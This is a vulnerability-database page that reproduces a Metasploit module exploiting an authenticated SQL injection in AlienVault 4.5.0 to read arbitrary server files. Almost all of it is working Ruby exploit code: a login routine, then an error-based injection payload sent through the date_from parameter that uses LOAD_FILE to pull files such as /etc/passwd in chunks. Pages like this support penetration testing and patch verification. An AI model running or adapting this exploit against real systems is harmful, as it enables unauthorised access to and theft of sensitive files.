Lucene search
K

AlienVault Authenticated SQL Injection Arbitrary File Read

🗓️ 31 Aug 2024 00:00:00Reported by Brandon Perry, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 125 Views

AlienVault 4.5.0 susceptible to authenticated SQL injection attack via PNG generation PHP file, allowing arbitrary file read without admin privilege

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "AlienVault Authenticated SQL Injection Arbitrary File Read",  
'Description' => %q{  
AlienVault 4.5.0 is susceptible to an authenticated SQL injection attack via a PNG  
generation PHP file. This module exploits this to read an arbitrary file from  
the file system. Any authenticated user is able to exploit it, as administrator  
privileges aren't required.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Brandon Perry <bperry.volatile[at]gmail.com>' #meatpistol module  
],  
'References' =>  
[  
['EDB', '32644']  
],  
'DefaultOptions' =>  
{  
'SSL' => true  
},  
'Platform' => ['linux'],  
'Privileged' => false,  
'DisclosureDate' => '2014-03-30'))  
  
register_options(  
[  
Opt::RPORT(443),  
OptString.new('FILEPATH', [ true, 'Path to remote file', '/etc/passwd' ]),  
OptString.new('USERNAME', [ true, 'Single username' ]),  
OptString.new('PASSWORD', [ true, 'Single password' ]),  
OptString.new('TARGETURI', [ true, 'Relative URI of installation', '/' ])  
])  
  
end  
  
def run  
  
print_status("Get a valid session cookie...")  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php')  
})  
  
unless res and res.code == 200  
print_error("Server did not respond in an expected way")  
return  
end  
  
cookie = res.get_cookies  
  
if cookie.blank?  
print_error("Could not retrieve a cookie")  
return  
end  
  
post = {  
'embed' => '',  
'bookmark_string' => '',  
'user' => datastore['USERNAME'],  
'passu' => datastore['PASSWORD'],  
'pass' => Rex::Text.encode_base64(datastore['PASSWORD'])  
}  
  
print_status("Login...")  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'ossim', 'session', 'login.php'),  
'method' => 'POST',  
'vars_post' => post,  
'cookie' => cookie  
})  
  
unless res and res.code == 302  
print_error("Server did not respond in an expected way")  
return  
end  
  
unless res.headers['Location'] && res.headers['Location'] == normalize_uri(target_uri.path, 'ossim/')  
print_error("Authentication failed")  
return  
end  
  
cookie = res.get_cookies  
  
if cookie.blank?  
print_error("Could not retrieve the authenticated cookie")  
return  
end  
  
i = 0  
full = ''  
filename = datastore['FILEPATH'].unpack("H*")[0]  
left_marker = Rex::Text.rand_text_alpha(6)  
right_marker = Rex::Text.rand_text_alpha(6)  
  
print_status("Exploiting SQLi...")  
  
loop do  
file = sqli(left_marker, right_marker, i, cookie, filename)  
return if file.nil?  
break if file.empty?  
  
str = [file].pack("H*")  
full << str  
vprint_status(str)  
  
i = i+1  
end  
  
path = store_loot('alienvault.file', 'text/plain', datastore['RHOST'], full, datastore['FILEPATH'])  
print_good("File stored at path: " + path)  
end  
  
def sqli(left_marker, right_marker, i, cookie, filename)  
pay = "2014-02-28' AND (SELECT 1170 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]},"  
pay << "(SELECT MID((IFNULL(CAST(HEX(LOAD_FILE(0x#{filename})) AS CHAR),"  
pay << "0x20)),#{(50*i)+1},50)),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS"  
pay << " GROUP BY x)a) AND 'xnDa'='xnDa"  
  
get = {  
'date_from' => pay,  
'date_to' => '2014-03-30'  
}  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'ossim', 'report', 'BusinessAndComplianceISOPCI', 'ISO27001Bar1.php'),  
'cookie' => cookie,  
'vars_get' => get  
})  
  
if res and res.body and res.body =~ /#{left_marker}(.*)#{right_marker}/  
return $1  
else  
print_error("Server did not respond in an expected way")  
return nil  
end  
end  
end  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation